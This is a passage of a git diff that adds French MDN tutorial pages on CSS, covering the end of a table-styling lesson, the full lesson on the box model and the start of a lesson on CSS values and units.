  • Plus haut, nous avons vu comment on utilisait le sélecteur {{cssxref(":nth-child")}} pour sélectionner un élément enfant. Il est aussi possible de donner une formule en paramètre afin qu'il sélectionne une suite d'éléments. La formule 2n-1 sélectionne tous les enfants impairs (1, 3, 5, etc.) et la formule 2n sélectionne tous les enfants pairs (2, 4, 6, etc.). Nous avons utilisé les mots-clés odd (impair) et even (pair) dans notre code ; ils font exactement la même chose que les formules susmentionnées. Dans ce cas, nous donnons aux lignes paires et impaires des couleurs différentes (clinquantes)
    • +
  • Nous avons également ajouté un motif d'arrière-plan répétitif sur toutes les lignes ; il donne un peu de bruit (un .png semi-transparent avec un peu de distorsion visuelle) pour donner une certaine texture.
    • +
  • Finalement, nous avons donné à toute la table une couleur de fond unie de façon à ce que les navigateurs qui ne prennent pas en charge le sélecteur :nth-child disposent encore d'une teinte de fond pour les lignes du corps de tableau.
    • +
+ +

Et voici l'explosion de couleurs résultante :

+ +

Troisième mise en forme : coloriage agressif

+ +

Maintenant, peut-être trouverez‑vous que nous avons forcé la dose et que ce n'est pas à votre goût, mais ce que nous avons essayé de montrer ici est que les tableaux ne sont pas forcément ennuyeux ou académiques.

+ +

Styliser l'intitulé

+ +

Il nous reste une dernière chose à faire avec ce tableau — styliser l'intitulé. Pour ce faire, ajoutez ce qui suit en fin de fichier style.css  :

+ +
caption {
+  font-family: 'Rock Salt', cursive;
+  padding: 20px;
+  font-style: italic;
+  caption-side: bottom;
+  color: #666;
+  text-align: right;
+  letter-spacing: 1px;
+}
+ +

Rien de remarquable ici, sauf pour la propriété {{cssxref("caption-side")}} à laquelle on a donné la valeur bottom. Elle a pour effet de positionner la légende au bas du tableau, ce qui, avec les autres déclarations, nous donne ce look final (voir en direct sur punk-bands-complete.html) :

+ +

Quatrième mise en forme : l'intitulé est disposé en bas à droite à la manière d'une légende de dessin

+ +

Apprentissage actif : mettez en page votre propre tableau

+ +

Maintenant, prenez cet exemple de tableau HTML (en tout ou en partie !) et stylisez‑le pour faire quelque chose de beaucoup mieux conçu et moins voyant que le tableau ci‑dessus.

+ +

Quelques conseils rapides

+ +

Avant de poursuivre, voici une liste rapide des points les plus utiles illustrés ci-dessus :

+ +
    +
  • Faites un balisage du tableau aussi simple que possible et gardez les choses souples, par exemple en utilisant des pourcentages, afin que le design soit adaptable.
    • +
  • Utilisez {{cssxref("table-layout")}}: fixed pour créer une disposition de tableau prévisible qui vous permet de fixer les largeurs de colonnes en définissant la valeur de {{cssxref("width")}} sur l'élément d'en‑tête ({{htmlelement("th")}}).
    • +
  • Utilisez {{cssxref("border-collapse")}}: collapse pour faire en sorte que les éléments du tableau fusionnent, produisant un aspect plus net et plus facile à contrôler.
    • +
  • Utilisez {{htmlelement("thead")}}, {{htmlelement("tbody")}} et {{htmlelement("tfoot")}} pour diviser le tableau en unités logiques et disposer d'entités supplémentaires pour l'application du CSS, de sorte qu'il soit plus facile d'empiler les styles si nécessaire.
    • +
  • Utilisez les zébrures pour distinguer chaque ligne et en faciliter la lecture.
    • +
  • Utilisez {{cssxref("text-align")}} pour aligner le texte des éléments {{htmlelement("th")}} et {{htmlelement("td")}} pour rendre les choses plus nettes et plus faciles à suivre.
    • +
+ +

Résumé

+ +

Maintenant que nous avons franchi les hauteurs vertigineusement passionnantes des mises en page de tableaux, à quoi allons‑nous occuper notre temps ? N'ayez crainte — le chapitre qui suit donne un aperçu de certains effets avancés avec les boîtes ; certains de ces effets ne sont apparus que très récemment dans les navigateurs (comme les modes blend et les filtres), d'autres sont établis depuis plus longtemps (comme les ombrages).

+ +

{{PreviousMenuNext("Learn/CSS/Styling_boxes/Borders", "Learn/CSS/Styling_boxes/Advanced_box_effects", "Learn/CSS/Styling_boxes")}}

+ + + +

Dans ce module

+ + diff --git a/files/fr/learn/css/building_blocks/the_box_model/index.html b/files/fr/learn/css/building_blocks/the_box_model/index.html new file mode 100644 index 0000000000..927bbdc232 --- /dev/null +++ b/files/fr/learn/css/building_blocks/the_box_model/index.html @@ -0,0 +1,354 @@ +--- +title: Le modèle de Boîte +slug: Apprendre/CSS/Building_blocks/Le_modele_de_boite +tags: + - Boîte + - CSS + - Disposition + - Débutant + - Mise en page + - Model + - Modèle + - Position + - Positionnement + - border + - box + - display + - margin + - padding +translation_of: Learn/CSS/Building_blocks/The_box_model +--- +
{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Combinators", "Learn/CSS/Building_blocks/Backgrounds_and_borders", "Learn/CSS/Building_blocks")}}
+ +

En CSS, tout élement est inclus dans une boîte ("box" en anglais). Comprendre le fonctionnement de ces boîtes est essentiel pour maîtriser la mise en page CSS ainsi que le positionement des élements d'une page HTML. Dans cette leçon, nous verrons en détails le Modèle de Boîtes CSS - son fonctionnement ainsi que sa terminologie - pour vous permettre de réaliser des mises en pages plus complexes.

+ + + + + + + + + + + + +
Prérequis:Compétences informatique basiques, Logiciels de base installés, connaissance simple en manipulation de fichiers, les bases du HTML (voir Introduction au HTML), et une esquisse du fonctionnement du CSS (voir premiers pas en CSS).
Objectif:Apprendre les principes du Modèle de Boîte en CSS, ce qui constitue le Modèle de Boîte et comment passer au modèle alternatif.
+ +

Les Boîtes "en ligne" et "en bloc"

+ +

En CSS, il existe deux type de boîtes : les boîtes en bloc ("block boxes" en anglais) et les boîtes en ligne ("inline boxes"). Ces deux qualifications renvoient au comportement de la boîte au sein de la page et vis à vis des autres boîtes :

+ +

Si une boîte est définie en bloc, elle suivra alors les règles suivantes :

+ +
    +
  • La boîte s'étend en largeur pour remplir totalement l'espace offert par son conteneur. Dans la plupart des cas, la boîte devient alors aussi large que son conteneur, occupant 100% de l'espace disponible.
    • +
  • La boîte occupe sa propre nouvelle ligne et créé un retour à la ligne, faisant ainsi passer les éléments suivants à la ligne d'après.
    • +
  • Les propriétés de largeur ({{cssxref("width")}}) et de hauteur ({{cssxref("height")}}) sont toujours respectées.
    • +
  • Les propriétés {{cssxref("padding")}}, {{cssxref("margin")}} et {{cssxref("border")}} — correspondantes respectivement aux écarts de remplissage interne, externe et à la bordure de la boîte — auront pour effet de repousser les autres éléments.
    • +
+ +

À moins que l'on ne décide de changer le type de positionnement de la boîte en "en ligne", certains éléments tels que les titres (<h1>,<h2>, etc.) et les paragraphes (<p>) utilisent le mode "bloc" comme propriété de positionnement extérieur par défaut.

+ +

Si une boîte est positionnée en ligne, alors :

+ +
    +
  • La boîte ne crée pas de retour à la ligne, les autres éléments se suivent donc en ligne.
    • +
  • Les propriétés de largeur ({{cssxref("width")}}) et de hauteur ({{cssxref("height")}}) ne s'appliquent pas.
    • +
  • Le padding, les marges et les bordures verticales (en haut et en bas) seront appliquées mais ne provoqueront pas de déplacement des éléments alentours.
    • +
  • Le padding, les marges et les bordures horizontales (à gauche et à droite) seront appliquées et provoqueront le déplacement des éléments alentours.
    • +
+ +

Les éléments <a>, utilisés pour les liens, ou encore <span>, <em> et <strong> sont tous des éléments qui s'affichent "en ligne" par défaut.

+ +

Le type de boîte appliqué à un élement est défini par la valeur de la propriété {{cssxref("display")}} tel que block ou inline, et se réfère à la valeur extérieur de positionnement (ou "display" en anglais).

+ +

Aparté : Les positionnements intérieurs et extérieurs

+ +

Au point où nous en sommes, il faut aborder la différence entre les propriétés de positionnement intérieurs ("inner dipslay") et extérieurs ("outer display"). Comme nous l'avons évoqué, les boîtes en CSS possèdent un type de positionnement extérieur qui détermine si la boîte est "en ligne" ou bien "en bloc".

+ +

Cependant, les boîtes ont aussi un type de positionnement intérieur, qui décrit le comportement de mise en page des élements contenus dans la boîte. Par défaut, les éléments contenus dans la boîte sont affichés dans la disposition normale, ce qui signifie qu'ils se comportent exactement comme n'importe quel autre élément "en bloc" ou "en ligne" (comme décrit auparavant).

+ +

Ce type de positionnement intérieur peut naturellement être modifié, en utilisant la valeur flex de la propriété display. Ainsi, si on donne la propriété display: flex; à un élément, son type depositionnement extérieur est "en bloc" (block), mais son type de positionnement intérieur est modifié en flex. Tout élément directement enfant de cette boîte se voit alors changé en élément flex, et sera mis en page selon les règles précisées dans les spécifications de Flexbox, dont on reparlera plus tard.

+ +
+

Note : Pour en apprendre d'avantage sur les valeurs prises par la propriété display, et le comportement des boîtes dans une mise en page en bloc ou en ligne, jettez un coup d'oeil au guide MDN sur la Disposition en ligne et en bloc.

+
+ +

Lorque vous en apprendrez plus sur la mise en page en CSS, vous découvrirez une variété d'autres valeurs de positionnement intérieur pour une boîte, tel que flex, ou encore grid.

+ +

Les dipositions "en ligne" et "en bloc" demeurent néanmoins le comportement par défaut des éléments sur le web — ce qui, comme nous l'avons vu, est appelé la disposition normale ("normal flow" en anglais), puisque sans instructions supplémentaires de notre part, c'est ainsi que les boîtes sont mises en page.

+ +

Exemples de quelques types de positionnement

+ +

Lançons nous à présent dans la pratique et étudions quelques exemples. Vous trouverez ci-dessous trois éléments HTML différents, mais qui sont tous en postionnement extérieur "en bloc" (block). Le premier est un paragraphe, possèdant une bordure (un cadre) ajoutée en CSS. Le navigateur va alors disposer l'élément comme une boîte "en bloc" lors de sa phase de rendu : le paragraphe occupe alors sa propre nouvelle ligne et s'étend en largeur pour occuper tout l'espace disponible.

+ +

Le deuxième élément est une liste, qui est disposée selon la règle display: flex;. Ceci définit une mise en page "flex" pour tous les éléments contenue dans la liste, bien que la liste en elle-même est en disposition "en bloc" — c'est pourquoi elle s'étend en largeur sur une nouvelle ligne, exactement comme le premier paragraphe.

+ +

Juste en dessous, se trouve un autre paragraphe, diposé en bloc comme le précédent, dans lequel sont insérés deux éléments <span>. Ces deux éléments sont par défaut disposés "en ligne". Cependant, on a ajouté à l'un des deux <span> une classe CSS nommée "block" qui lui attribue la propriété display: block;, ce qui explique la différence de mise en page observée.

+ +

{{EmbedGHLiveSample("css-examples/learn/box-model/block.html", '100%', 1000)}} 

+ +

Nous avons dans cet exemple le comportement typique d'un élément en ligne (inline), observant chacune des règles énoncées plus haut : l'élément <span> du premier paragraphe ne force pas de retour à la ligne et se place à la suite - en ligne donc - des autres éléments.

+ +

Nous avons en suite un élément <ul> dont la propriété de positionnement est display: inline-flex;, ce qui fait du <ul> une boîte en ligne, contenant des éléments de liste (<li>) dipsosés en "flex".

+ +

Pour finir, nous avons deux paragraphes, tous deux définis en display: inline;. Le texte dans ces paragraphes, tout comme les éléments de listes, sont disposés sur la même ligne sans retour à la ligne pour chaque élément, contrairement à une disposition en bloc.

+ +

Dans cet exemple, nous vous invitons à passer de display: inline; à display: block; ou encore de display: inline-flex; à display: flex; pour observer les modifications apportées par ces modes de positionnement.

+ +

{{EmbedGHLiveSample("css-examples/learn/box-model/inline.html", '100%', 1000)}} 

+ +

Vous rencontrerez des mises en page de type "flex" plus tard dans ces lessons, pas d'inquiétude si ce type de positionnement n'est pas maîtrisé. L'important est ici de se souvenir que c'est la valeur de la propriété display qui permet de modifier l'affichage extérieur (en ligne ou en bloc), ce qui définit l'interaction de la boîte par rapport à son environement dans la mise en page.

+ +

Pour le reste de la leçon, nous ne parlerons plus que du type de positionnement extérieur.

+ +

Qu'est-ce que le Modèle de Boîte en CSS ?

+ +

Le modèle de boîte que nous allons voir s'applique totalement aux boîtes en bloc, mais les boîtes en ligne ne reprennent que certains aspects — le modèle est alors simplifié ! Ce modèle définit comment chaque composant de la boîte, à savoir le margin (remplissage extérieur), le border (cadre), le padding (remplissage intérieur) et le contenu, fonctionnent ensemble pour former l'aspect final rendu à l'écran. Pour ajouter un soupçon de complexité, il est aussi possible de passer du modèle standard à un modèle alternatif.

+ +

Les composants d'une boîte

+ +

Lorsque l'on crée une boîte en bloc, on se retrouve avec les composants suivant :

+ +
    +
  • La boîte de contenu : Il s'agit de la zone où sont affichés les éléments contenus par notre boîte, qui peut être dimensionnée en utilisant les propriétés CSS {{cssxref("width")}} et {{cssxref("height")}}.
    • +
  • La boîte de padding (marge intérieure) : Le padding est une zone vierge qui se présente comme un espacement encadrant le contenu; sa taille peut être controllée sur chaque côté en utilisant la propriété {{cssxref("padding")}} et ses autres propriétés connexes.
    • +
  • La boîte du cadre : Le cadre englobe le contenu et le padding pour former une bordure. Sa taille et son style sont paramétrés par la propriété {{cssxref("border")}} et ses propriétés sous-jacentes.
    • +
  • La boîte de margin (marge extérieure) : Le margin est la couche la plus à l'extérieur, englobant le contenu, le padding and le border. Comme le padding, il s'agit d'une zone vierge d'espacement mais qui est cette fois située a l'extérieur de l'élément, séparant l'élément des autres éléments de la page. sa taille peut être controllée sur chaque côté en utilisant la propriété {{cssxref("margin")}} et ses autres propriétés connexes.
    • +
+ +

Le schéma ci-dessous montre la structure de ces différentes couches:

+ +

Diagram of the box model

+ +

Le Modèle Standard de Boîte CSS

+ +

Dans le modèle standard, lorsque vous spécifiez les propriétés de largeur (width) et de hauteur (height), celles-ci définissent alors la hauteur et la largeur de la boîte de contenu (la boîte la plus à l'intérieur donc). La taille des padding et du border (s'ils existent) s'ajoutent à la largeur et à la hauteur définies dans width et height pour obtenir les dimensions totales occupées par la boîte. Le margin étant extérieur, il ne rentre pas dans le compte. Ce principe est illustré dans l'exemple ci-dessous.

+ +

En prenant une boîte définie avec les valeurs suivantes de width, height, margin, border et padding :

+ +
.box {
+  width: 350px;
+  height: 150px;
+  margin: 10px;
+  padding: 25px;
+  border: 5px solid black;
+}
+
+ +

L'espace occupé par notre boîte dans le modèle standard vaut alors 410px (350 + 25 + 25 + 5 + 5), et la hauteur, 210px (150 + 25 + 25 + 5 + 5), en ajoutant bien les valeurs de padding et de border (deux fois, car ces marges sont présentes aux deux extrêmités de la largeur et de la longeur), aux valeurs de width et de height.

+ +

Showing the size of the box when the standard box model is being used.

+ +
+

Note : Le margin (marge extérieure) n'est pas comptabilisé dans la taille totale de la boîte — car bien qu'elle affecte l'espace que la boîte va prendre en définitive dans la page, il ne s'agit que de l'espace extérieur à la boîte. La zone couverte par la boîte s'arrête donc au border (le cadre) et ne s'étend pas au margin.

+
+ +

Le Modèle Alternatif de Boîte CSS

+ +

À ce stade, vous pourriez penser qu'il n'est pas très commode d'avoir à ajouter constament les dimensions du border et du padding aux dimensions du conteneur pour obtenir les dimensions totales de la boîte, et vous n'auriez pas tort ! Pour cela, le CSS possède un modèle de boîte alternatif introduit peu de temps après le modèle standard. En utilisant ce modèle, les paramètres width et height définissent la largeur et la hauteur totale de la boîte en comprenant le contenu, le padding et le border. Ainsi, pour obtenir la taille du contenu, il faut retirer aux dimension la taille du padding et du border. En reprenant l'exemple précédent avec ce modèle, on obtiendrait les dimensions suivantes: width = 350px, height = 150px.

+ +

Showing the size of the box when the alternate box model is being used.

+ +

Le navigateur utilise le modèle standard par défaut. Pour utiliser le modèle alternatif, il faut  définir la propriété box-sizing: border-box; sur notre boîte. Cela revient à demander au navigateur de considérer la boîte du cadre (la "border box") comme la zone d'effet de width et height, et non la boîte du contenu comme dans le modèle standard !

+ +
.box {
+  box-sizing: border-box;
+}
+ +

Si vous désirez utiliser le modèle alternatif sur tous vos éléments — ce qui est un choix répendu parmi certains cercles de développeurs — vous pouvez le faire simplement à l'aide de ces quelques instructions ci-dessous, en utilisant box-sizing sur l'élément <html> et en utilisant l'effet cascade du CSS en paramètrant tous les autres éléments sur la valeur hérité du parent (inherit). Si vous tenez à comprendre le raisonnement derrière ce code, regardez du coté de l'article des Astuces CSS sur box-sizing.

+ +
html {
+  box-sizing: border-box;
+}
+*, *::before, *::after {
+  box-sizing: inherit;
+}
+ +
+

Note : Pour l'anecdote, le navigateur Internet Explorer utilisait historiquement le modèle alternatif par defaut — sans pour autant fournir un moyen de passer à l'autre modèle !

+
+ +

Manipuler les modèles de boîtes

+ +

Dans l'exemple ci-dessous, se trouvent deux boîtes. Ces deux boîtes possèdent la classe .box qui leur confère les mêmes valeurs pour les propriétés width, height, margin, border et padding. La seule différence est que la seconde boîte utilise le modèle alternatif.

+ +

Pouvez-vous modifier les dimensions de la seconde boîte (en lui ajoutant le CSS dans la classe .alternate) pour lui permettre d'avoir la même hauteur et largeur finale que l'autre boîte ?

+ +

{{EmbedGHLiveSample("css-examples/learn/box-model/box-models.html", '100%', 1000)}} 

+ +
+

Note: vous pouvez trouver une solution ici.

+
+ +

Utiliser les DevTools pour voir le modèle de boîte

+ +

Les outils de développement de votre navigateur peuvent vous permettre d'apréhender les concepts de boîte bien plus facilement. Si vous inspectez un élément dans les DevTools de Firefox (clic droit > Examiner l'élément), vous pouvez avoir accès à toutes les propriétés des différentes couches de la boîte (contenu, padding, border et margin) dans l'interface graphique interactive montrée ci-dessous. Inspecter un élément ainsi, c'est s'assurer qu'il possède bien la taille que l'on désire !

+ +

Inspecting the box model of an element using Firefox DevTools

+ +

Margins, paddings, et borders

+ +

Nous avons déjà rencontré ensemble les propriétés {{cssxref("margin")}}, {{cssxref("padding")}} et {{cssxref("border")}}, ainsi que leurs effets dans les exemples précédents. Mais ces propriétés sont des raccourcis qui nous permettent de définir ces règles pour les quatres côtés de la boîte d'un seul coup. Ces raccourcis ont donc aussi leurs propriétés équivalentes permettant de régler séparement chaque côté pour plus de personalisation.

+ +

Regardons de plus près ces nouvelles propriétés.

+ +

Les Margins (Marges extérieures)

+ +

Le margin est une zone d'espacement invisible qui encadre votre boîte (une marge extérieure). Le margin repousse les éléments alentours de le boîte. On peut de plus lui donner une valeur numérique positive ou bien même négative ! Lorsque cette valeur est négative, cela peut cependant engendrer des superpositions entre votre boîte et d'autres éléments. Que vous utilisiez le modèle alternatif ou standard, le margin est toujours décompté en surplus de la taille totale de la boîte et est ajouté après que celle-ci a été calculée.

+ +

On peut fixer les quatres margins d'une boîte d'un seul coup à l'aide de la propriété {{cssxref("margin")}}, ou bien régler chaque côté individuelement avec les propriétés équivalentes suivantes :

+ +
    +
  • {{cssxref("margin-top")}}
    • +
  • {{cssxref("margin-right")}}
    • +
  • {{cssxref("margin-bottom")}}
    • +
  • {{cssxref("margin-left")}}
    • +
+ +

Dans l'exemple ci-dessous, tentez donc de modifier les valeurs de margin pour voir comment la boîte est repoussée et évolue à cause des espaces créés ou suprimés (si le margin est négatif) par vos soins.

+ +

{{EmbedGHLiveSample("css-examples/learn/box-model/margin.html", '100%', 1000)}} 

+ +

La fusion des marges

+ +

Le concept de fusion entre les marges est important à maîtriser pour la mise en page. Si deux éléments de votre page ont des margins qui se touchent, alors ces margins fusionnent pour ne faire plus qu'un seul margin qui aura pour taille la plus grande des deux tailles des margins initiaux.

+ +

Dans l'exemple ci-dessous, nous avons deux paragraphes. Le paragraphe du haut a un margin-bottom de 50 pixels. Le second paragraphe a un margin-top de 30 pixels. Puisque ces deux margins se touchent, ils fusionnent ensemble, et ainsi le margin final entre les deux paragraphes est de 50 pixels et non 80, la somme des deux margins.

+ +

Vous pouvez tester cette propriété par vous même en modifiant la propriété margin-top du deuxième paragraphe à 0 dans l'exemple ci-dessous. Le margin visible entre les deux paragraphes demeure inchangé — il conserve sa taille de 50 pixels qui provient du margin-bottom du premier paragraphe.

+ +

{{EmbedGHLiveSample("css-examples/learn/box-model/margin-collapse.html", '100%', 1000)}} 

+ +

Il existe quelques règles qui contrôlent la fusion ou non des marges. Pour plus d'informations, référez vous à la page détaillée Maîtriser la fusion des marges. Si vous ne devez retenir qu'une chose, c'est que les marges peuvent fusionner, et que si vos marges ne correspondent pas à vos attentes, c'est certainement ce phénomène qui est derrière.

+ +

Les Borders (Cadres)

+ +

le border (le cadre en français) se situe entre le margin (marge externe) et le padding (marge interne) d'une boîte. Si vous utilisez le modèle standard de boîte, la taille du border s'ajoute à la largeur (width) et la hauteur (height) de la boîte. Si vous utilisez le modèle de boîte alternatif, alors la taille du border rends la taille disponible pour le contenu plus petite puisqu'il utilise une partie du width et height disponible.

+ +

Pour agir sur le style d'un border, il existe de nombreuses propriétés qui permettent de régler le style, la taille et la couleur pour chacun des quatres côtés du cadre.

+ +

Vous pouvez naturellement fixer la forme taille et couleur des quatres côtés en une seule fois, par le biais de la propriété border.

+ +

Pour régler ces propriétés individuellement pour chacun des côtés, vous pouvez utiliser :

+ +
    +
  • {{cssxref("border-top")}}
    • +
  • {{cssxref("border-right")}}
    • +
  • {{cssxref("border-bottom")}}
    • +
  • {{cssxref("border-left")}}
    • +
+ +

Pour modifier la taille, le style ou la couleur de tous les côtés en même temps, utilisez les propriétés suivantes :

+ +
    +
  • {{cssxref("border-width")}}
    • +
  • {{cssxref("border-style")}}
    • +
  • {{cssxref("border-color")}}
    • +
+ +

Pour modifier la taille, le style ou la couleur d'un seul coté à la fois, vous pouvez faire l'usage de ces propriétés :

+ +
    +
  • {{cssxref("border-top-width")}}
    • +
  • {{cssxref("border-top-style")}}
    • +
  • {{cssxref("border-top-color")}}
    • +
  • {{cssxref("border-right-width")}}
    • +
  • {{cssxref("border-right-style")}}
    • +
  • {{cssxref("border-right-color")}}
    • +
  • {{cssxref("border-bottom-width")}}
    • +
  • {{cssxref("border-bottom-style")}}
    • +
  • {{cssxref("border-bottom-color")}}
    • +
  • {{cssxref("border-left-width")}}
    • +
  • {{cssxref("border-left-style")}}
    • +
  • {{cssxref("border-left-color")}}
    • +
+ +

Dans l'exemple ci-dessous, nous avons utilisé différentes propriétés, qu'elles soient des raccourcis ou bien les propriétés précises, pour créer un cadre (border). Amusez-vous à modifier les valeurs de ces différentes propriétés pour vérifier que vous comprenez bien comment elles s'organisent. Les pages du MDN pour les propriétés des borders (données ci-dessus) vous documentent sur les différents styles que vous pouvez appliquer à vos pages. N'hésitez pas à les consulter.

+ +

{{EmbedGHLiveSample("css-examples/learn/box-model/border.html", '100%', 1000)}} 

+ +

Les Paddings (Marges intérieures)

+ +

Les paddings (ou marges intérieures) se situent entre le border (le cadre) et la zone du contenu. Contrairement aux margins, on ne peut attribuer une valeur numérique négative à un padding, la valeur ne peut être que 0 ou bien une valeur positive. Si vous avez défini un arrière plan à votre élément, celui-ci continuera de s'afficher dans la padding, et c'est pourquoi cette propriété est souvent utilisée pour repousser le contenu du border (le cadre).

+ +

On peut une fois de plus configurer le padding pour tous les côtés à la fois à l'aide de la propriété {{cssxref("padding")}}, ou bien chaque côté indépendament des autres en utilisant les variantes plus précises suivantes :

+ +
    +
  • {{cssxref("padding-top")}}
    • +
  • {{cssxref("padding-right")}}
    • +
  • {{cssxref("padding-bottom")}}
    • +
  • {{cssxref("padding-left")}}
    • +
+ +

Si vous modifiez les valeurs du padding sur la classe .box de l'exemple ci-dessous, vous pouvez observer comment l'emplacement du texte est impacté par les marges intérieures.

+ +

Tentez aussi de modifier la valeur du padding dans la classe .container, cela aura pour effet d'espacer le conteneur et la boîte. Le padding peut être modifié sur tout élément pour permettre d'espacer le contenu du cadre.

+ +

{{EmbedGHLiveSample("css-examples/learn/box-model/padding.html", '100%', 800)}} 

+ +

Le modèle de boîte et la disposition en ligne

+ +

Toutes les règles énoncées plus haut s'appliquent totalement aux boîtes positionnées en bloc. Mais qu'en est-il des boîtes positionnées en ligne, comme l'élément <span> par exemple ?

+ +

Dans l'exemple ci-après, nous avons un élément <span> inclus dans un paragraphe auquel on a défini les propriétés width, height, margin, border et padding. Vous pouvez alors observer que les paramètres width et height sont totalement ignorés. Les propriétés de margin, padding et border sont quant à elles appliquées, mais n'ont pas modifié l'espacement avec les autres éléments de la page, se superposant ainsi avec les mots environnants dans le paragraphe.

+ +

{{EmbedGHLiveSample("css-examples/learn/box-model/inline-box-model.html", '100%', 800)}} 

+ +

le positionnement display: inline-block

+ +

Il existe une valeur spéciale pour la propriété display, qui constitue un compromis entre la diposition en ligne et la disposition en bloc, une sorte d'entre-deux qui combine ces deux dispositions. Cet état peut-être utile dans les situations où l'on désire utiliser les propriétés width et height, et éviter les superpositions (voir l'exemple précédent), tout en conservant la disposition dans une même ligne (i.e. sans créer de nouvelle ligne, comme le ferait une disposition en bloc).

+ +

C'est la solution apportée par la disposition display: inline-block; qui emprunte des règles des deux dispositions pour satisfaire ces motivations :

+ +
    +
  • La hauteur (height) et la largeur (width) seront appliqués sur l'élément (et non ignorés).
    • +
  • Les propriétés padding, margin et border repousseront bien les éléments alentours.
    • +
+ +

Cette disposition suit alors ces règles, tout en conservant un positionnement sur la même ligne, sans retour à la ligne, ni affichage sur sa propre nouvelle ligne. L'élément peut même devenir plus grand que son conteneur si les propriétés width et height le définissent ainsi.

+ +

Dans cet exemple, nous avons ajouté la propriété display: inline-block; à notre élément <span>. Changez donc la valeur en display: block; ou bien tentez même de supprimer cette ligne pour observer l'utilité de cette nouvelle disposition.

+ +

{{EmbedGHLiveSample("css-examples/learn/box-model/inline-block.html", '100%', 800)}} 

+ +

Ceci peut-être très utile dans certains cas comme lorsque l'on veut élargir la zone cliquable d'un lien en aggrandissant le padding. l'élément <a> est par défaut "en ligne", comme un <span>, mais vous pouvez alors utiliser display: inline-block; pour permettre au padding d'être ajouté correctement sur la page, améliorant l'accessibilité du lien pour l'utilisateur.

+ +

Vous pouvez rencontrer cette astuce sur bon nombre de menus de navigation dans les sites web. Par exemple, la barre de navigation ci-dessous est affichée en une seule ligne en utilisant la disposition flexbox et nous avons ajouté un padding aux lien <a> pour pouvoir modifier la couleur de fond (background-color) au survol du curseur. Le padding semble se superposer sur la bordure de l'élément <ul>. Ceci est dû au fait que <a> est un élément en ligne.

+ +

Ajoutez la propriété display: inline-block;  en utilisant le sélecteur .links-list a pour voir le respect du padding régler ce problème.

+ +

{{EmbedGHLiveSample("css-examples/learn/box-model/inline-block-nav.html", '100%', 600)}} 

+ +

Conclusion

+ +

À présent vous connaissez tout ce dont vous avez besoin pour comprendre le modèle des boîtes en CSS. N'hésitez pas à revenir jetter un coup d'oeil à ce cours si vous rencontrez encore des problèmes de mise en page : beaucoup de solutions se trouvent ici !

+ +

Dans la leçon suivante, ce sont les arrières-plans et cadres qui capterons notre attention, afin de rendre votre mise en page plus attrayante.

+ +

{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Combinators", "Learn/CSS/Building_blocks/Backgrounds_and_borders", "Learn/CSS/Building_blocks")}}

+ +

Dans ce module

+ +
    +
  1. Cascade and inheritance
    2. +
  2. CSS selectors + +
    3. +
  3. The box model
    4. +
  4. Backgrounds and borders
    5. +
  5. Handling different text directions
    6. +
  6. Overflowing content
    7. +
  7. Values and units
    8. +
  8. Sizing items in CSS
    9. +
  9. Images, media, and form elements
    10. +
  10. Styling tables
    11. +
  11. Debugging CSS
    12. +
  12. Organizing your CSS
    13. +
diff --git a/files/fr/learn/css/building_blocks/values_and_units/index.html b/files/fr/learn/css/building_blocks/values_and_units/index.html new file mode 100644 index 0000000000..59fe695fe4 --- /dev/null +++ b/files/fr/learn/css/building_blocks/values_and_units/index.html @@ -0,0 +1,392 @@ +--- +title: Valeurs et unités CSS +slug: Apprendre/CSS/Building_blocks/Values_and_units +translation_of: Learn/CSS/Building_blocks/Values_and_units +--- +
{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Overflowing_content", "Learn/CSS/Building_blocks/Sizing_items_in_CSS", "Learn/CSS/Building_blocks")}}
+ +

Chaque propriété utilisée en CSS a un type de valeur définissant un ensemble de valeurs autorisées pour cette propriété. Visiter des pages de propriétés sur MDN vous aidera à comprendre les valeurs associées à un type de valeur, qui sont valides pour une propriété particulière. Dans cette leçon nous allons observer quelques uns des types de valeurs les plus fréquemment utilisés, et leurs valeurs et unités les plus communes.

+ + + + + + + + + + + + +
Prérequis:Maîtrise élémentaire de l'informatique, suite logicielle de base installée, compétences élémentaires pour travailler avec des fichiers, connaissance de base du HTML  (cf. Introduction à HTML), et une idée de Comment fonctionne CSS.
Objectif:Apprendre les différents types de valeurs et d'unités utilisés dans les propriétés CSS.
+ +

Qu'est-ce qu'une valeur CSS?

+ +

Dans les spécifications CSS et sur les pages de propriétés ici sur MDN, vous pourrez identifier les types de valeurs car ils sont entourés par des chevrons, tel que <color> ou <length>. Quand vous voyez le type de valeur <color>, valide pour une propriété particulière, cela signifie que vous pouvez utiliser n'importe quelle couleur valide comme valeur pour cette propriété, comme énoncé dans la page de référence de <color>.

+ +
+

Note: Vous verrez également des valeurs CSS appelées types de données. Les termes sont interchangeables — Quand vous voyez quelque chose en CSS identifié comme type de données, c'est juste une façon différente de dire type de valeur. Le terme valeur se rapporte à n'importe quelle expression particulière supportée par un type de valeur que vous avez choisi d'utiliser.

+
+ +
+

Note: Oui, les types de valeur CSS tendent à être indiqués par des chevrons, pour les différencier des propriétés CSS (ex: la propriété {{cssxref("color")}}, comparée au type de données <color>). Vous pourriez aussi être désorienté entre les ttypes de données CSS et les éléments HTML, car ils utilisent tous deux les chevrons, mais c'est peu probable — ils sont utilisés dans des contextes très différents.

+
+ +

Dans l'exemple suivant, nous avons défini la couleur de notre titre en utilisant un mot-clé, et la couleur de fond en utilisant la fonction rgb():

+ +
h1 {
+  color: black;
+  background-color: rgb(197,93,161);
+} 
+
+ +

Un type de valeurs en CSS est une manière de définir un ensemble de valeurs autorisées. Cela signifie que si vous voyez <color> comme valide, vous n'avez pas besoin de vous demander quel type de valeur vous pouvez utiliser —  mot-clés, valeurs hex, fonctions rgb(), etc. Vous pouvez utiliser n'importe quelle valeur <color> disponible, en supposant qu'elle soit supportée par votre navigateur. La pageMDN pour chaque valeur vous donnera les informations au sujet du support par le navigateur. Par exemple, si vous regardez la page <color>, vous verrez que la section sur la compatibilité des navigateurs liste différents types de valeurs pour "color" et le support.

+ +

Observons quelques uns des types de valeurs et d'unités que vous pouvez fréquemment rencontrer, avec des exemples, pour que vous puissiez essayer différentes valeurs possibles.

+ +

Nombres, longueurs et pourcentages

+ +

Il éxiste de nombreux types de valeurs numériques que vous pourrez trouver vous même en utilisant CSS. Les suivants sont tous classés comme numériques:

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Type de donnéeDescription
<integer><integer> est un nombre entier comme 1024 ou -55.
